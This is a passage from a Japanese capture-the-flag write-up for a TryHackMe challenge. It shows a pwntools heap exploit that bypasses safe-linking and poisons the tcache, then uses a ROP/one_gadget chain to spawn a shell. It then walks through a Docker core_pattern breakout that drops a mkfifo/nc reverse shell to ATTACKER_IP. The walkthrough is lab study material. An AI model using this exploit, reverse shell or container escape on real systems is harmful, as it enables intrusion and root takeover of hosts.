log.info("new vuln tcache: " + hex(vuln_tcache))
target = main_ret - 0x8
log.info("target address: " + hex(target))
safe_link_addr = target ^ (vuln_tcache >> 12)	# not-so-safe linking protection bypass
edit(9, b'D'*3032 + p64(0x421-0x20) + p64(safe_link_addr))
create(11, 0x400-0x10, b'removefirsttcache')

## Execute /bin/sh
# $ ~/tools/rp/src/build/rp-lin -f libc.so.6 --rop=2 --unique | grep 'pop rax'
# 0xdd237: pop rax ; ret ; (1 found)
pop_rax_ret = p64(libc_base + 0xdd237)
# $ ~/tools/rp/src/build/rp-lin -f libc.so.6 --rop=2 --unique | grep 'pop rbx'
# 0x586d4: pop rbx ; ret ; (7 found)
pop_rbx_ret = p64(libc_base + 0x586d4)
# $ one_gadget libc.so.6
# 0x583dc posix_spawn(rsp+0xc, "/bin/sh", 0, rbx, rsp+0x50, environ)
# constraints:
#   address rsp+0x68 is writable
#   rsp & 0xf == 0
#   rax == NULL || {"sh", rax, rip+0x17302e, r12, ...} is a valid argv
#   rbx == NULL || (u16)[rbx] == NULL
target_address = p64(libc_base + 0x583dc)

payload = p64(0) + pop_rax_ret + p64(0) + pop_rbx_ret + p64(0) + target_address
create(12, 0x400-0x10, payload)

p.interactive()
```
```console
$ python3 exploit.py
```
として実行し、しばらく待ちます。
`p.interactive()`まで処理が終わると
```console
[1] Create Permit Entry
[2] Read Permit Entry
[3] Edit Permit Entry
[4] Exit Permit Manager
>> $ 
```
となるので`4`でプログラムを終了させるとシェルが動かせるようになります。
失敗することもあるので、何度か再実行しながら気長に待つ必要があります。

```console
$ ls
ld-linux-x86-64.so.2
libc.so.6
secureStorage
user.txt
$ cat user.txt
THM{[...]}
```
としてuserフラグゲットです。

# What is the content of the file root.txt?
とりあえずlinpeasを動かしてみます。
![015.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/533830/af12ad6c-219f-e060-3e48-0e331946aa5b.png)

Breakoutできる脆弱性があります。
DockerコンテナからホストにエスケープすることをBreakout(脱獄)というそうです。

https://container-security.dev/security/breakout-to-host

このサイトを参考にします。
今回は`core_pattern`の脆弱性を用います。

まずFullTTYにします。
```console
$ python3 -c 'import pty; pty.spawn("/bin/bash")'
root@a8fc621bec0b:~# $
```
その後、別のターミナルで`rlwrap nc -lnvp 4444`で待ちながら以下のように順に実行します。
```console
$ cat <<EOF > /cmd
> #!/bin/sh
> rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc <ATTACKER_IP> 4444 >/tmp/f
> EOF

$ chmod +x /cmd

$ mount | grep overlay2
overlay on / type overlay (rw,relatime,lowerdir=/var/lib/docker/overlay2/l/B4DCNBVHOI5QHRW742I2CRQCH2:/var/lib/docker/overlay2/l/IUYV43YNWXUWUB3AKMOG7EEJXW:/var/lib/docker/overlay2/l/76WJQFHUSWQM7KOJ3E3AIQBQNT:/var/lib/docker/overlay2/l/5UVNMNSIWI3VAZMNAQ4QLNB4Z3:/var/lib/docker/overlay2/l/RXCCKP75EZLNMIBKZ3SWUJLGJQ:/var/lib/docker/overlay2/l/DOUNGCEL6XK5T4YCNTFVLDT7ST:/var/lib/docker/overlay2/l/C2AFHN7BOZ7LUEKCCA6ERS6LUK:/var/lib/docker/overlay2/l/AM2XA4UAQQITQQ46WCCLFW6PMJ:/var/lib/docker/overlay2/l/4YODBWI6N5KUQO3BUK63FI4ZAC:/var/lib/docker/overlay2/l/JLANHNEEQJVLQW7RS5YAMLWU3O:/var/lib/docker/overlay2/l/QJ77WOJUCKWU3B6DDB5UXJ5HMV,upperdir=/var/lib/docker/overlay2/221c28c3554db6a8781a1558e327ee54b8a3d6b7266507ee7ccd8af24a05c444/diff,workdir=/var/lib/docker/overlay2/221c28c3554db6a8781a1558e327ee54b8a3d6b7266507ee7ccd8af24a05c444/work,nouserxattr)

$ echo "|/var/lib/docker/overlay2/221c28c3554db6a8781a1558e327ee54b8a3d6b7266507ee7ccd8af24a05c444/diff/cmd" > /proc/sys/kernel/core_pattern

$ sleep 100 &
[1] 35

$ kill -SEGV <pid>
```
リスナー側でroot権限のシェルが動いているはずです。
```console
$ rlwrap nc -lnvp 4444
listening on [any] 4444 ...
connect to [10.10.10.10] from (UNKNOWN) [10.10.204.92] 36118
sh: 0: can't access tty; job control turned off
# id
uid=0(root) gid=0(root) groups=0(root)
# cat /root/root.txt
THM{[...]}
```
rootフラグを手に入れました。

# 参考
https://ptr-yudai.hatenablog.com/entry/2019/10/12/181931

https://zenn.dev/anko/articles/malloc-each-bins

https://www.youtube.com/watch?v=EFIYGzv-VWw

https://www.youtube.com/watch?v=0-vWT-t0UHg

https://www.valinux.co.jp/technologylibrary/document/linux/malloc0001/

# 最後に
pwnを解くのは初めてだったので、バッファオーバーフローのコードを理解するのに1週間ぐらいかかりました。
しかしおかげでヒープバッファオーバーフローを完全に理解できました。
あんまりpwnは性に合わないですね

[Side Quest1](https://qiita.com/Vixmy/items/4d65ad05d137fa78a06e)
[Side Quest2](https://qiita.com/Vixmy/items/1ac8d0fd7a3451e5fa53)
[Side Quest4]()(まだ)
[Side Quest5]()(まだ)